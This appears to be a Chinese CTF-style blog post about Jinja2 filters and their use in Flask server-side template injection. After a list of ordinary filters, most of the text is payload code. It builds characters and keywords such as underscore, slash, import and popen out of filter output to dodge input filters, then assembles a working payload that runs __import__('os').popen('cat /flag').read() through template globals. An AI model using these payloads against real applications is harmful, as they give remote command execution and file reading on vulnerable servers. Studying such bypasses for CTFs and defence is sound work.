jinjia2 过滤器
jinjia2 过滤器
奇安信攻防社区-flask SSTI学习与总结 (butian.net)
flask 过滤器
flask过滤器和其它语言的过滤器作用几乎一致,对数据进行过滤
使用
1 | 变量|过滤器 |
常用过滤器
**int()**:将值转换为int类型;
**float()**:将值转换为float类型;
**lower()**:将字符串转换为小写;
**upper()**:将字符串转换为大写;
min():求序列中最小值
**title()**:把值中的每个单词的首字母都转成大写;
**capitalize()**:把变量值的首字母转成大写,其余字母转小写;
**trim()**:截取字符串前面和后面的空白字符;
**wordcount()**:计算一个长字符串中单词的个数;
**reverse()**:字符串反转;
**replace(value,old,new)**: 替换将old替换为new的字符串;
**truncate(value,length=255,killwords=False)**:截取length长度的字符串;
**striptags()**:删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;
**escape()或e**:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。
**safe()**: 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'hello'|safe}};
**list()**:将变量列成列表;
**string()**:将变量转换成字符串;
**join()**:将一个序列中的参数值拼接成字符串。示例看上面payload;
**abs()**:返回一个数值的绝对值;
**first()**:返回一个序列的第一个元素;
**last()**:返回一个序列的最后一个元素;
**format(value,arags,\*kwargs)**:格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!
**length()**:返回一个序列或者字典的长度;
**sum()**:返回列表内数值的和;
**sort()**:返回排序后的列表;
**default(value,default_value,boolean=false)**:如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')—-如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。
基本思路
获取入口点
1 | {% set org = ({ }|select()|string()) %}{{org}} |
这些基本都能得到一长串字符串,里面包含字母、尖号、下划线、数字等,可以通过增加下标来获取
1
2
3
4 {% set org = ({ }|select()|string()) %}{{org}}
# <generator object select_or_reject at 0x1047f7ac0>
{% set org = ({ }|select()|string()) %}{{org[1]}}
# g
这个对应道字符串含有百分号,这样可以通过url编码得到所有字符
1 | {% set org = self|string|urlencode %}{{org}} |
这个包含了更多的字符种类
1 | {% set org = (app.__doc__|string) %}{{org}} |
对于获取数字,除了上面出现的那几种外我们还可以有以下几种方法:
1 | {% set num = (self|int) %}{{num}} # 0, 通过int过滤器获取数字 |
获取特定字符
获取.
1 | {% set point = self|float|string|min %} # 通过float过滤器获取点 . |
下划线
1 | {% set xhx = (({ }|select|string|list).pop(24)|string) %}{{xhx}} |
空格
1 | {% set space = (({ }|select|string|list).pop(10)|string) %} |
左括号(
1 | {% set yin = ((app.__doc__|string|list).pop(195)|string) %} |
右括号)
1 | {% set yin = ((app.__doc__|string|list).pop(199)|string) %} |
单引号’
1 | {% set yin = ((app.__doc__|string|list).pop(181)|string) %} |
%c的利用
常见数字
1 | {% set zero = (({ }|select|string|list).pop(38)|int) %} # 0 |
字符c
1 | {% set c = dict(c=aa)|reverse|first %} |
dict() 函数用于创建一个字典,这里dict(c=aa)是 {‘c’: Undefined}
百分号
1 | {% set bfh = self|string|urlencode|first %} |
%c
1 | {% set bfhc=bfh~c %} |
这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
使用%c构造斜杠 /
1 | {% set slas = bfhc%((four~seven)|int) %} |
常见字段
builtins
1 | {% set but = dict(buil=aa,tins=dd)|join %} |
import
1 | {% set imp = dict(imp=aa,ort=dd)|join %} |
popen
1 | {% set pon = dict(po=aa,pen=dd)|join %} |
os
1 | {% set os = dict(o=aa,s=dd)|join %} |
cat
1 | {% set ca = dict(ca=aa,t=dd)|join %} |
flag
1 | {% set flg = dict(fl=aa,ag=dd)|join %} |
eval
1 | {% set ev = dict(ev=aa,al=dd)|join %} |
read
1 | {% set red = dict(re=aa,ad=dd)|join %} |
__builtins__
1 | {% set bul = xhx*2~but~xhx*2 %} |
将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read():
1 | {% set pld = xhx*2~imp~xhx*2~left~yin~os~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %} |
pld放入SSTI万能payload
1 | {% for f,v in whoami.__init__.__globals__.items() %} # globals |
过滤.的版本
1 | {% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %} |
完整payload
1 | {% set zero = (self|int) %} |
- 标题: jinjia2 过滤器
- 作者: Sl0th
- 创建于 : 2023-01-16 22:57:46
- 更新于 : 2024-07-03 22:58:38
- 链接: http://sl0th.top/2023/01/16/jinjia2-过滤器/
- 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。